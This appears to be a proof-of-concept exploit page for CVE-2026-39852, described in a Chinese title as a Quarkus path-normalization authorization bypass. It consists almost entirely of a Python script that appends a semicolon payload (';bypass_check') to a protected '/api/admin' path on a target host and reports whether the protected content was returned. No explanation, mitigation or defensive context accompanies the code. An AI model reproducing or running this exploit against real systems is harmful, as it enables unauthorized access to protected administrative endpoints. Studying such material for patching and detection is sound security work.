CVE-2026-39852 Quarkus路径规范化授权绕过漏洞

import requests def exploit_poc(target_url): # Path to protected endpoint protected_path = "/api/admin" # Bypass payload: append semicolon and arbitrary text bypass_payload = ";bypass_check" full_url = f"{target_url}{protected_path}{bypass_payload}" print(f"[*] Attempting to access: {full_url}") try: response = requests.get(full_url) if response.status_code == 200: print("[+] Authorization bypass successful! Access granted.") print(f"[+] Response Content: {response.text[:100]}") else: print(f"[-] Access denied or error. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://vulnerable-host:8080" exploit_poc(target)